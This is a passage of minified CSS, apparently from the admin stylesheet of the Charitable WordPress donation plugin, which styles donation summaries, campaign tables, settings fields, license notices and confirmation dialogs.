#ddd;background:#f5f5f5}.charitable-benefactor-wrap select{width:100%}.charitable-benefactor-summary:after,.charitable-benefactor-summary:before{content:\" \";display:table}.charitable-benefactor-summary:after{clear:both}.charitable-benefactor-summary .summary{float:left;width:82%}.charitable-benefactor-summary .alignright{float:right;width:18%;text-align:right}.charitable-benefactor-form-cancel{float:right;margin-top:10px}.charitable-benefactor-contribution-amount{margin-bottom:10px}.charitable-benefactor-contribution-amount .contribution-amount{margin-bottom:10px;font-size:16px}@media (min-width:42.5em){.charitable-benefactor-contribution-amount{border:1px solid #ddd;background-color:#fff}.charitable-benefactor-contribution-amount .contribution-amount{width:auto;min-width:220px;margin:1px;border:none;box-shadow:none}.charitable-benefactor-contribution-amount .contribution-type{float:right;margin:10px;width:auto}.charitable-benefactor-contribution-amount input:focus,.charitable-benefactor-contribution-amount select:focus{box-shadow:none}}.charitable-benefactor-date-wrap{margin-top:10px}.charitable-benefactor-date-wrap label{float:left;width:49%}.charitable-benefactor-date-wrap label:nth-child(2n+2){margin-left:2%}.charitable-benefactor-date-wrap input{margin:1em 0;font-weight:400}.charitable-benefactor-expired,.charitable-benefactor-inactive{background-color:#f5f5f5}.charitable-benefactor-expired .summary span,.charitable-benefactor-inactive .summary span{font-weight:700;text-transform:uppercase;padding-right:8px;color:#f89d35}#campaign-creator .creator-facts .creator-name{padding:0}#campaign-creator .creator-facts .creator-name a{color:#333;text-decoration:none}#campaign-creator .creator-facts dt{display:inline-block;font-weight:700}#campaign-creator .creator-facts dd{display:inline-block}#charitable-campaign-creator-metabox-wrap #campaign-creator{padding-bottom:24px;margin-bottom:12px;border-bottom:1px solid #e1e1e1}body.post-type-donation #post-body-content,body.post-type-donation #titlediv{display:none}body.post-type-donation .closed .inside{display:block}body.post-type-donation .donation-banner-wrapper{float:left;width:100%;background:#f8f8f8;border-radius:4px 4px 0 0;border-bottom:1px solid #e5e5e5}body.post-type-donation .donation-banner{position:relative;padding:12px}body.post-type-donation .donation-banner .donation-edit-link{position:absolute;top:12px;right:12px}body.post-type-donation .donation-banner .donation-number{margin:0;padding:0;font-size:1.3em}body.post-type-donation .donation-erasure-notice-wrapper{float:left;width:100%}body.post-type-donation .donation-erasure-notice{padding:12px 20px;border-bottom:1px solid #e5e5e5;font-style:italic}@media (min-width:70em){body.post-type-donation #poststuff #post-body.columns-2{margin-right:340px}body.post-type-donation #poststuff #post-body.columns-2 #postbox-container-1{margin-right:-340px;width:320px}body.post-type-donation #poststuff #post-body.columns-2 #postbox-container-1 #side-sortables{width:100%}}#donation-overview .charitable-metabox:after,#donation-overview .charitable-metabox:before{content:\" \";display:table}#donation-overview .charitable-metabox:after{clear:both}#donation-overview .hndle{display:none}#donation-overview .inside{margin:0;padding:0}#donation-overview #donor{float:left;padding:12px 12px 36px 12px;width:300px;max-width:67%}#donation-overview .donor-name{font-weight:400}#donation-overview h3{margin:0 0 .5em;padding:0;font-size:1.3em}#donation-overview #donation-summary{float:right;padding:12px 12px 36px 0;max-width:33%;text-align:right}#donation-overview .donation-status{display:block;margin-bottom:6px}#donation-overview .donation-status .contact-consent .consent,#donation-overview .donation-status .status{font-weight:bolder}#donation-overview table#overview{float:left;width:100%;border-spacing:0}#donation-overview table#overview thead th{padding:0 0 .8em}#donation-overview table#overview .col-campaign-name{padding-left:12px;text-align:left}#donation-overview table#overview .col-campaign-donation-amount{padding-right:12px;text-align:right}#donation-overview table#overview tbody td{padding:2em 0;border-top:1px solid #e5e5e5}#donation-overview table#overview tbody tr:last-child td{border-bottom:1px solid #e5e5e5}#donation-overview table#overview .campaign-name{padding-left:12px;font-size:18px}#donation-overview table#overview .campaign-donation-amount{padding-right:12px;font-size:16px;text-align:right}#donation-overview table#overview tfoot td,#donation-overview table#overview tfoot th{padding:.6em 12px .6em 0;background-color:#f8f8f8;text-align:right}#donation-overview table#overview tfoot tr:first-of-type td,#donation-overview table#overview tfoot tr:first-of-type th{padding-top:1.2em}#donation-overview table#overview tfoot tr:last-of-type td,#donation-overview table#overview tfoot tr:last-of-type th{padding-bottom:1.2em}#donation-actions .inside{padding:0}#donation-actions,#donation-details,#donation-log{border-bottom:1px solid #ccd0d4}#donation-details dt{font-weight:700;margin-bottom:.5em}#donation-details dd{margin:0 0 1em;padding-bottom:1em;border-bottom:1px solid #e5e5e5}#donation-details dd:last-child{border-bottom:none;padding-bottom:0}#donation-log .inside{padding:0;margin-top:0}#donation-log table{word-break:break-all;border:none}#donation-log td,#donation-log th{padding-left:12px;padding-right:12px}#donation-log thead th{background:#f8f8f8}#donation-log thead th:first-child{width:200px}#donation-log tbody td{border-bottom:1px solid #e5e5e5}#donation-log tbody tr:last-child td{border-bottom:0}.post-type-donation.charitable-admin-donation-form #postbox-container-2{margin-bottom:0;border:1px solid #dedede;border-radius:4px;background:#fff}.post-type-donation.charitable-admin-donation-form .charitable-metabox-wrap{margin-bottom:24px}.post-type-donation.charitable-admin-donation-form .charitable-metabox-wrap.charitable-fieldset-wrap{margin-bottom:0}.post-type-donation.charitable-admin-donation-form #donation-form{border:none;background:0 0;box-shadow:none}.post-type-donation.charitable-admin-donation-form #donation-form .postbox-title{display:none}.post-type-donation.charitable-admin-donation-form #donation-form .inside{padding:0;margin:0}.post-type-donation.charitable-admin-donation-form #donation-form .inside>.charitable-form-fields{clear:both;padding:20px}.post-type-donation.charitable-admin-donation-form #donation-form .charitable-form-fields>h3:first-of-type{margin-top:0}.post-type-donation.charitable-admin-donation-form #donation-form .charitable-form-fields>.charitable-metabox-wrap:not(.charitable-fieldset-wrap){margin-bottom:24px}.post-type-donation.charitable-admin-donation-form #donation-form-meta{padding:24px 12px 12px}#charitable-campaign-donations thead th{background:#f5f5f5}#charitable-user-fields-wrap{width:100%}#charitable-user-fields-wrap .charitable-overlay{display:none!important}#charitable-user-fields-wrap.loading-data .charitable-overlay{display:block!important;text-align:center}#charitable-user-fields-wrap.loading-data>:not(.charitable-overlay){display:none}#charitable-user-fields-wrap #charitable-first-name-wrap,#charitable-user-fields-wrap #charitable-last-name-wrap{width:48%}#charitable-user-fields-wrap #charitable-first-name-wrap{padding-right:4%}#charitable-user-fields-wrap #charitable-postcode-wrap{width:26%;padding-right:4%}#charitable-user-fields-wrap #charitable-country-wrap{width:70%;clear:right}.charitable-settings-field{padding:7px 10px;width:300px;font-size:16px;line-height:1.5em}.charitable-settings-field.short{width:100px}.charitable-settings-field.wide{width:100%}.charitable-inline-notice{background:#fff;border:1px solid #c3c4c7;border-left-width:4px;box-shadow:0 1px 1px rgba(0,0,0,.04);margin:5px 15px 15px 0;padding:10px 12px}.charitable-inline-notice p:last-child{margin-bottom:0!important}.charitable-inline-notice.info{border-left-color:#00a0d2}.charitable-inline-notice.warning{border-left-color:#ffb900}input[type=number].charitable-settings-field{height:auto}select.charitable-settings-field{width:auto;min-width:300px}input#charitable_settings_import_campaign,input#charitable_settings_import_donations{display:table;margin:0 0 10px 0;width:100%}select#charitable_settings_export_campaign,select#charitable_settings_export_donations,select#charitable_settings_import_donations{padding:0 24px 0 10px;min-height:45px;display:table;margin:0 0 10px 0;width:100%;text-indent:10px}.charitable-settings-object{max-width:1000px;padding:10px 20px;margin-bottom:4px;border:1px solid #e1e1e1;background-color:#fff}.charitable-settings-object h4{float:left;margin:0;line-height:28px}.charitable-settings-object span.actions{float:right}.charitable-settings-object span.actions a{margin-left:10px}.charitable-gateway .default-gateway,.charitable-gateway .make-default-gateway{margin-left:20px;font-size:12px;line-height:28px}.charitable-gateway .default-gateway{color:#f89d35}.charitable-gateway .make-default-gateway{color:#777}.charitable-settings-notice{max-width:860px;padding:10px 20px;border:1px solid #e1e1e1;background-color:#fef4e8}.charitable-settings-notice.license-notice{margin-top:-10px}.charitable-licensed-product h4{width:230px;margin-right:20px;line-height:40px}.charitable-licensed-product .charitable-settings-field{float:left;width:100%}@media (min-width:68.125em){.charitable-licensed-product .charitable-settings-field{width:312px;margin-right:20px}}.charitable-licensed-product .license-meta{font-size:12px;line-height:40px}.charitable-licensed-product .license-active{float:left}.charitable-licensed-product .valid-license{color:#f89d35;font-weight:700}.charitable-licensed-product .license-deactivation{float:left;margin:6px 0}.charitable-licensed-product .license-invalid{color:#f89d35}.charitable-licensed-product .license-expiration-date{float:right;margin-left:10px}.charitable-help{display:block;margin-top:4px;font-size:13px;line-height:21px;font-style:italic;color:#777}.form-table .charitable-help p{font-size:13px;line-height:21px}.form-table td.charitable-fullwidth{padding:15px 0}.charitable-shortcode-options ul{list-style:disc;margin-left:16px;font-style:normal}.charitable-shortcode-options li{margin-bottom:2px}@media (min-width:48em){.charitable_page_charitable-settings .form-table th{min-width:250px}}body.charitable_page_charitable-settings div#charitable-settings table.form-table{max-width:1000px}.charitable_page_charitable-settings .form-table th label{font-size:13px}.charitable_page_charitable-settings .form-table td select{max-width:400px}.charitable-radio-list{padding:0;margin:0;list-style:none}.charitable-radio-list li{display:inline-block;margin-right:20px}.charitable-checkbox-list{width:auto;margin:0;padding:0}.charitable-notice{padding:5px 10px;font-size:14px;background-color:#fff}.charitable-notice.charitable-notice-error{border-left:4px solid #dc3232}.charitable-admin-notice-five-star-rating a.button-link:hover,.charitable-admin-notice-five-star-rating button.button:hover{background-color:transparent}.charitable-admin-notice-five-star-rating p{margin-top:0;margin-bottom:0}.charitable-admin-notice-five-star-rating[data-step=\"2\"],.charitable-admin-notice-five-star-rating[data-step=\"3\"]{display:none}.edit-php.post-type-charitable .tablenav .actions{padding-right:0}.edit-php.post-type-charitable .tablenav #end_date,.edit-php.post-type-charitable .tablenav #start_date{width:10.5em}.edit-php.post-type-charitable .tablenav #post-query-submit{display:none}.edit-php.post-type-charitable .tablenav #delete_all{margin-top:3px}.edit-php.post-type-charitable .tablenav .charitable-export-button:before,.edit-php.post-type-charitable .tablenav .charitable-filter-button:before{vertical-align:middle;margin-top:-2px;width:16px;height:16px;font-size:16px}.edit-php.post-type-charitable .tablenav a.button{display:inline-block}.edit-php.post-type-charitable .tablenav.top{margin:0 0 12px 0}.edit-php.post-type-charitable .tablenav.top select.campaign_id{float:none;vertical-align:top}.edit-php.post-type-charitable .tablenav.top .actions{overflow:visible}.edit-php.post-type-charitable .tablenav.top .actions .has-popup{position:relative;display:inline-block;cursor:pointer;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.edit-php.post-type-charitable .tablenav.top .actions .has-popup .popup{visibility:hidden;width:260px;background-color:#999;color:#fff;text-align:center;border-radius:6px;padding:4px;position:absolute;z-index:1;top:125%;left:50%;margin-left:-136px}.edit-php.post-type-charitable .tablenav.top .actions .has-popup .popup input,.edit-php.post-type-charitable .tablenav.top .actions .has-popup .popup label,.edit-php.post-type-charitable .tablenav.top .actions .has-popup .popup select{width:80%;margin-bottom:1em}.edit-php.post-type-charitable .tablenav.top .actions .has-popup .popup .inner{background:#fff;padding:1em 0;border-radius:4px}.edit-php.post-type-charitable .tablenav.top .actions .has-popup .popup::before{content:\"\";position:absolute;bottom:100%;left:50%;margin-left:-5px;border-width:5px;border-style:solid;border-color:transparent transparent #999 transparent}.edit-php.post-type-charitable .tablenav.top .actions .has-popup .popup.show{visibility:visible!important;-webkit-animation:fadeIn 1s;animation:fadeIn 1s}.edit-php.post-type-charitable .tablenav.top .actions .charitable-export-actions{margin-left:8px}.edit-php.post-type-charitable .wp-list-table .meta{display:block;color:#999}.edit-php.post-type-charitable .wp-list-table .column-post_status #donation-donor-history mark,.edit-php.post-type-charitable .wp-list-table .column-post_status .post-type-charitable #donation-summary mark,.edit-php.post-type-charitable .wp-list-table .column-post_status mark{padding:2px 4px;margin:0;text-align:center;white-space:nowrap;background:#999;color:#fff;border-radius:2px;font-size:10px;letter-spacing:1px;text-transform:uppercase;font-weight:700}form#posts-filter .actions.charitable-export-actions{margin-top:3px}.post-type-charitable #donation-summary mark{padding:2px 4px 2px 6px}.edit-php.post-type-charitable .wp-list-table .column-post_status #donation-donor-history mark.charitable-pending,.edit-php.post-type-charitable .wp-list-table .column-post_status .post-type-charitable #donation-summary mark.charitable-pending,.edit-php.post-type-charitable .wp-list-table .column-post_status mark.charitable-pending{background-color:#999}.edit-php.post-type-charitable .wp-list-table .column-post_status #donation-donor-history mark.charitable-completed,.edit-php.post-type-charitable .wp-list-table .column-post_status .post-type-charitable #donation-summary mark.charitable-completed,.edit-php.post-type-charitable .wp-list-table .column-post_status mark.charitable-completed{background-color:#34d058}.edit-php.post-type-charitable .wp-list-table .column-post_status #donation-donor-history mark.charitable-failed,.edit-php.post-type-charitable .wp-list-table .column-post_status .post-type-charitable #donation-summary mark.charitable-failed,.edit-php.post-type-charitable .wp-list-table .column-post_status mark.charitable-failed{background-color:#f7a129}.edit-php.post-type-charitable .wp-list-table .column-post_status #donation-donor-history mark.charitable-cancelled,.edit-php.post-type-charitable .wp-list-table .column-post_status .post-type-charitable #donation-summary mark.charitable-cancelled,.edit-php.post-type-charitable .wp-list-table .column-post_status mark.charitable-cancelled{background-color:red}.edit-php.post-type-charitable .wp-list-table .column-post_status #donation-donor-history mark.charitable-refunded,.edit-php.post-type-charitable .wp-list-table .column-post_status .post-type-charitable #donation-summary mark.charitable-refunded,.edit-php.post-type-charitable .wp-list-table .column-post_status mark.charitable-refunded{background-color:#3fb8f5}.edit-php.post-type-campaign td.column-ID,.edit-php.post-type-campaign th.manage-column.column-ID{width:2.2em;padding:11px 3px}.edit-php.post-type-campaign .column-status mark{padding:2px 4px;margin:0;text-align:center;white-space:nowrap;background:#999;color:#fff;border-radius:2px;font-size:10px;letter-spacing:1px;text-transform:uppercase;font-weight:700}.edit-php.post-type-campaign .column-status mark.active{background-color:#23282d}.edit-php.post-type-campaign .column-status mark.finished{background-color:#3fb8f5}.edit-php.post-type-campaign .column-status mark.successful{background-color:#34d058}.edit-php.post-type-campaign .column-status mark.unsuccessful{background-color:red}#charitable_dashboard_donations .hide-if-no-js{padding:10px 0;text-align:center}#charitable_dashboard_donations .inside{margin:0;padding:0}#charitable_dashboard_donations .charitable-donation-statistics{margin-bottom:20px}#charitable_dashboard_donations .charitable-donation-statistics:after,#charitable_dashboard_donations .charitable-donation-statistics:before{content:\" \";display:table}#charitable_dashboard_donations .charitable-donation-statistics:after{clear:both}#charitable_dashboard_donations .cell{box-sizing:border-box;float:left;width:50%;padding:23px 0 10px;border-right:1px solid #e5e5e5;border-bottom:1px solid #e5e5e5;text-align:center}#charitable_dashboard_donations .cell .amount{color:#f89d35;font-size:28px;font-weight:400;padding-bottom:0}#charitable_dashboard_donations .summary{margin-top:0;color:#777}#charitable_dashboard_donations .summary .time-period{font-weight:700;color:#444}#charitable_dashboard_donations .recent-donations{margin:0 11px}#charitable_dashboard_donations .recent-donations table{width:100%;border-collapse:collapse}#charitable_dashboard_donations .recent-donations caption{text-align:left}#charitable_dashboard_donations .recent-donations caption h3{padding-left:0}#charitable_dashboard_donations .recent-donations td{padding:10px 0;border-top:1px solid #e5e5e5}#charitable_dashboard_donations .recent-donations tr:last-child td{border-bottom:1px solid #e5e5e5}#charitable_dashboard_donations .recent-donations .donation-total{text-align:right;font-weight:700}#charitable_dashboard_donations .recent-donations .donation-id{width:80px}.charitable-admin-banner-top-of-page{text-align:center}.charitable-admin-banner-top-of-page .button-link{position:absolute;top:48px;right:-1px;font-size:20px;color:#fff;font-weight:700;text-decoration:none;margin-left:5px;padding:6px 10px}@media screen and (min-width:783px){.charitable-admin-banner-top-of-page{padding:10px 46px 10px 22px;font-size:13px;line-height:1.4;color:#fff;margin-left:-20px;padding:9px 32px 9px 20px;background:#e89940;display:none}.charitable-admin-banner-top-of-page a{color:#fff}[dir=rtl] .charitable-admin-banner-top-of-page{margin-left:0;margin-right:-20px}.charitable-license-expiring-banner.charitable-admin-banner-top-of-page{background:#e84040}.charitable-license-expiring-banner.charitable-admin-banner-top-of-page a:hover{color:#fff!important}}@media screen and (min-width:601px){.charitable-admin-banner-top-of-page .button-link{top:0}}@media screen and (min-width:783px){.charitable-admin-banner-top-of-page .button-link{right:9px}}.charitable-notice.notice-five-star-review{z-index:0}.charitable-notice:first-of-type{margin-left:3px;margin-right:20px;margin-top:10px}.charitable-notice{margin-top:10px;margin-left:3px;margin-right:20px;margin-bottom:0;padding:10px 10px}.charitable-notice.error,.charitable-notice.updated{margin:10px 20px 2px 3px}form#posts-filter table tbody#the-list tr.child td{padding:0}form#posts-filter table tbody#the-list tr.child td div.charitable-campaign-list-banner{justify-content:space-between;flex-direction:row;display:flex;flex:0 0 100%;flex-direction:row;align-items:center;padding:15px 30px;flex-wrap:nowrap;position:relative}form#posts-filter table tbody#the-list tr.child td div.charitable-campaign-list-banner>div{flex-grow:1;display:flex;align-items:center}form#posts-filter table tbody#the-list tr.child td div.charitable-campaign-list-banner .charitable-campaign-list-banner-icon{width:auto;height:45px;margin:0 15px 0 0}form#posts-filter table tbody#the-list tr.child td div.charitable-campaign-list-banner .charitable-campaign-list-banner-icon img{height:45px}form#posts-filter table tbody#the-list tr.child td div.charitable-campaign-list-banner .charitable-campaign-list-banner-text p{font-size:16px;margin-top:0;margin-bottom:0}form#posts-filter table tbody#the-list tr.child td div.charitable-campaign-list-banner .charitable-campaign-list-banner-button{display:flex;flex-direction:row;justify-content:end;min-width:20%}form#posts-filter table tbody#the-list tr.child td div.charitable-campaign-list-banner .button-link{background-color:#5aa152;color:#fff;padding:10px 30px;position:relative;text-decoration:none;border-radius:5px;text-shadow:none;font-weight:600;font-family:Inter;font-size:13px;line-height:normal;color:#2271b1;cursor:pointer;display:table;text-align:center;float:right}form#posts-filter table tbody#the-list tr.child td div.charitable-campaign-list-banner .button-link:hover{background-color:#3f7539}form#posts-filter table tbody#the-list tr.child td div.charitable-campaign-list-banner a.charitable-close{width:18px;display:inline-block;height:18px;margin-left:20px;margin-right:20px}form#posts-filter table tbody#the-list tr.child td div.charitable-campaign-list-banner a.charitable-close img{width:18px;height:18px}form#posts-filter table tbody#the-list tr.child td div.charitable-campaign-list-banner a.charitable-close:hover{opacity:.5}form#posts-filter table tbody#the-list tr.child td div.charitable-campaign-list-banner a.button-link,form#posts-filter table tbody#the-list tr.child td div.charitable-campaign-list-banner a.button-link:active,form#posts-filter table tbody#the-list tr.child td div.charitable-campaign-list-banner a.button-link:visited{color:#fff}body.wp-admin .jconfirm.jconfirm-light .jconfirm-bg,body.wp-admin .jconfirm.jconfirm-white .jconfirm-bg{opacity:.8}body.post-type-campaign .jconfirm .jconfirm-cell{display:table-cell}body.post-type-campaign .jconfirm.jconfirm-type-lite-pro-ad{background-color:#fff;color:#2b2e39;font-family:Inter,sans-serif}.charitable-lite-pro-popup{padding:0 20px;display:flex;font-size:16px}.charitable-lite-pro-popup-left{flex:1}.charitable-lite-pro-popup-right{flex:1}.charitable-lite-pro-popup h1{color:#3f414c;font-size:24px;line-height:33px;margin:0 0 15px 0;font-weight:700}.charitable-lite-pro-popup h2{font-weight:400;font-size:14px;line-height:21px;color:#5a5c65;margin:0 0 30px 0}.charitable-lite-pro-popup ul{margin:0 20px 25px 0;display:table;list-style-position:outside;font-size:16px}.charitable-lite-pro-popup li{background-image:url(\"..\u002Fimages\u002Ficons\u002Fgreen_check_circle.png\");background-repeat:no-repeat;font-size:14px;font-weight:500;line-height:21px;color:#3f414c;padding-left:25px;margin:0 0 15px 0;padding-left:30px}.charitable-lite-pro-popup li p{margin:-2px 0 0 0;display:inline;padding:0}.charitable-lite-pro-popup .charitable-lite-pro-popup-button{padding:16px 18px;background:#e89940;margin:10px auto 0 auto;color:#fff;text-align:center;font-size:16px;line-height:24px;display:block;text-decoration:none;font-weight:600;border-radius:5px}.charitable-lite-pro-popup .charitable-lite-pro-popup-link{display:block;font-size:14px;line-height:18px;margin:20px 0 0 0;font-weight:400;color:#486dcb}.charitable-lite-pro-popup .charitable-lite-pro-popup-link:hover{text-decoration:underline}.charitable-lite-pro-popup a.charitable-lite-pro-popup-link{text-decoration:none;color:#3459c4!important}.charitable-lite-pro-popup .charitable-lite-pro-popup-right img{padding:0 0 0 20px;margin-top:30px}body.post-type-campaign .jconfirm-box-container .charitable-lite-pro-popup,body.post-type-campaign .jconfirm-box-container .charitable-lite-pro-popup a.charitable-lite-pro-popup-link,body.post-type-campaign .jconfirm-box-container .charitable-lite-pro-popup h1,body.post-type-campaign .jconfirm-box-container .charitable-lite-pro-popup h2,body.post-type-campaign .jconfirm-box-container .charitable-lite-pro-popup li{color:#2b2e39}.charitable-licensed-product .license-deactivation{margin:2px 0}textarea.charitable-settings-field{width:75%;font-size:13px;line-height:21px}.starburst{background:#347d39;width:2.75em;height:2.75em;text-align:center;color:#fff;font-weight:800;display:flex;align-items:center;justify-content:center;position:absolute;top:50%;margin-top:-1.25em;margin-left:-1.25em}.starburst span{width:100%;height:100%;background:inherit;transform:rotate(-45deg);display:flex;align-items:center;justify-content:center}.starburst span:after,.starburst span:before{content:\"\";position:absolute;top:0;left:0;width:100%;height:100%;background:inherit;z-index:-1;transform:rotate(30deg)}.starburst span:after{transform:rotate(30deg)}.starburst span:before{transform:rotate(-30deg)}.starburst:after,.starburst:before{content:\"\";position:absolute;top:0;left:0;width:100%;height:100%;background:inherit;z-index:-1;transform:rotate(30deg)}.starburst:after{transform:rotate(-30deg)}#wpcharitable-starburst-new{left:5px;top:0}#qt__charitable_campaign_description_toolbar input.ed_button{padding:0 10px}td.default_amount-col,th.default_amount-col{vertical-align:middle;max-width:50px;width:50px}#create-campaign-form label{font-size:16px;line-height:21px;margin-bottom:5px;margin-top:15px;display:block}#create-campaign-form p{margin:5px 0}#create-campaign-form small{font-size:12px;line-height:16px}#create-campaign-form input[type=text]{margin-bottom:10px;width:90%}#create-campaign-form input[type=text]::placeholder{color:#ccc;opacity:1}#create-campaign-form input[type=text]:-ms-input-placeholder{color:#ccc}#create-campaign-form input[type=text]::-ms-input-placeholder{color:#ccc}div#charitable-settings table.form-table tbody tr.section-heading th h4{font-size:20px;font-weight:700;margin:0 0 6px 0}div#charitable-settings table.form-table tbody tr.section-heading p{margin-bottom:0}div#charitable-settings table.form-table tbody tr.section-heading.dangerous-settings th h4{color:red}div#charitable-settings table.form-table tbody tr.section-heading.dangerous-settings th:first-child{width:inherit}div#charitable-settings table.form-table tbody tr th{padding:5px 0}div#charitable-settings table.form-table tbody tr th h4{font-size:20px;font-weight:700;margin:10px 0 6px 0;line-height:20px}div#charitable-settings table.form-table tbody tr th[scope=row] h4{font-weight:400;font-size:inherit}div#charitable-settings table.form-table tbody tr td p{margin:0 0 10px 0}div#charitable-settings table.form-table tbody tr:first-child th:first-child{width:auto}div#charitable-settings table.form-table tbody tr:first-child th[scope=row] h4{font-size:20px;font-weight:700;margin:10px 0 6px 0;line-height:20px}div#charitable-settings table.form-table tbody tr.section-subheading th h4{font-size:20px;font-weight:700;margin:10px 0 6px 0;line-height:20px}div#charitable-settings table.form-table tr input[type=email],div#charitable-settings table.form-table tr input[type=password],div#charitable-settings table.form-table tr input[type=text],div#charitable-settings table.form-table tr select{background-color:#f9f9fa;color:#52545f;border-color:#e4e4e7;border-radius:3px;box-shadow:none;display:inline-block;vertical-align:middle;padding:7px 24px 7px 12px;margin:0 10px 0 0;min-height:35px;font-size:13px;line-height:29px;font-weight:500}div#charitable-settings table.form-table tr.general-settings input[type=password],div#charitable-settings table.form-table tr.general-settings input[type=text],div#charitable-settings table.form-table tr.general-settings select{min-width:400px}div#charitable-settings table.form-table tr.restrict-radio ul.charitable-radio-list.charitable-settings-field{width:50%}div#charitable-settings table.form-table tr.restrict-radio ul.charitable-radio-list li{display:block;font-size:14px}div#charitable-settings .green{color:green}div#charitable-settings input#charitable-settings-upgrade-license-key:read-only{opacity:.4}div#charitable-settings .license-message.license-valid- button.charitable-btn-deactivate,div#charitable-settings .license-message.license-valid-false button.charitable-btn-deactivate{display:none}div#charitable-settings .charitable-btn{border:1px;border-top-color:currentcolor;border-top-style:none;border-right-color:currentcolor;border-right-style:none;border-bottom-color:currentcolor;border-bottom-style:none;border-left-color:currentcolor;border-left-style:none;border-style:solid;border-radius:3px;cursor:pointer;display:inline-block;margin:0;margin-right:0;text-decoration:none;text-align:center;vertical-align:middle;white-space:nowrap;box-shadow:none;border-radius:7px}div#charitable-settings .charitable-btn-md{font-size:13px;font-weight:600;padding:8px 12px;min-height:39px}div#charitable-settings .charitable-btn-orange{background-color:#e27730;border-color:#e27730;color:#fff}div#charitable-settings .charitable-btn-orange:hover:not(:disabled){background-color:#c96528;border-color:#c96528;color:#fff}div#charitable-settings .charitable-btn-green{background-color:#5aa152;border-color:#5aa152;color:#fff}div#charitable-settings .charitable-btn-green:hover:not(:disabled){background-color:#4c8a45;border-color:#4c8a45;color:#fff}div#charitable-settings p.submit .button.button-secondary{border-radius:5px;font-family:Inter,sans-serif;font-weight:600;font-size:14px;line-height:14px;padding:15px 20px;text-transform:capitalize;height:auto}div#charitable-settings .charitable-setting-row button{margin-right:10px}body.charitable-admin-settings div.jconfirm *,body.charitable-admin-settings div.jconfirm ::after,body.charitable-admin-settings div.jconfirm ::before{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box{display:grid;grid-template-columns:repeat(2,1fr);justify-items:center;animation:none;background:#fff;border-radius:6px;border-top-style:solid;border-top-width:4px;box-shadow:0 3px 6px rgba(0,0,0,.15);padding-top:34px;max-width:400px}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-buttons,body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-content-pane,body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box .jconfirm-title-c{grid-column:1\u002F-1;text-align:center}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-default{border-top-width:0;padding-top:25px}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-default .jconfirm-title-c{margin-bottom:20px}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-default .jconfirm-title-c .jconfirm-icon-c{font-size:44px;margin-bottom:-6px}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-default button.btn-confirm{background-color:#e27730;border-color:#e27730}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-default button.btn-confirm:hover{background-color:#cd6622;border-color:#cd6622}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-red{border-top-color:#d63638!important}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-red .jconfirm-title-c .jconfirm-icon-c{color:#d63638!important}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-red button.btn-confirm{background-color:#d63638;border-color:#d63638}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-red button.btn-confirm:hover{background-color:#b32d2e;border-color:#b32d2e}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-orange{border-top-color:#e27730!important}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-orange .jconfirm-title-c .jconfirm-icon-c{color:#e27730!important}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-orange button.btn-confirm{background-color:#e27730;border-color:#e27730}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-orange button.btn-confirm:hover{background-color:#cd6622;border-color:#cd6622}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-yellow{border-top-color:#ffb900!important}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-yellow .jconfirm-title-c .jconfirm-icon-c{color:#ffb900!important}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-yellow button.btn-confirm{background-color:#ffb900;border-color:#ffb900}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-yellow button.btn-confirm:hover{background-color:#fa0;border-color:#fa0}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-blue{border-top-color:#0399ed!important}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-blue .jconfirm-title-c .jconfirm-icon-c{color:#0399ed!important}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-blue button.btn-confirm{background-color:#0399ed;border-color:#0399ed}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-blue button.btn-confirm:hover{background-color:#036aab;border-color:#036aab}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-green{border-top-color:#00a32a!important}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-green .jconfirm-title-c .jconfirm-icon-c{color:#00a32a!important}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-green button.btn-confirm{background-color:#00a32a;border-color:#00a32a}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-green button.btn-confirm:hover{background-color:#008a20;border-color:#008a20}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-purple{border-top-color:#7a30e2!important}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-purple .jconfirm-title-c .jconfirm-icon-c{color:#7a30e2!important}body.charitable-admin-settings div.jconfirm .jconfirm-box-container .jconfirm-box.jconfirm-type-purple 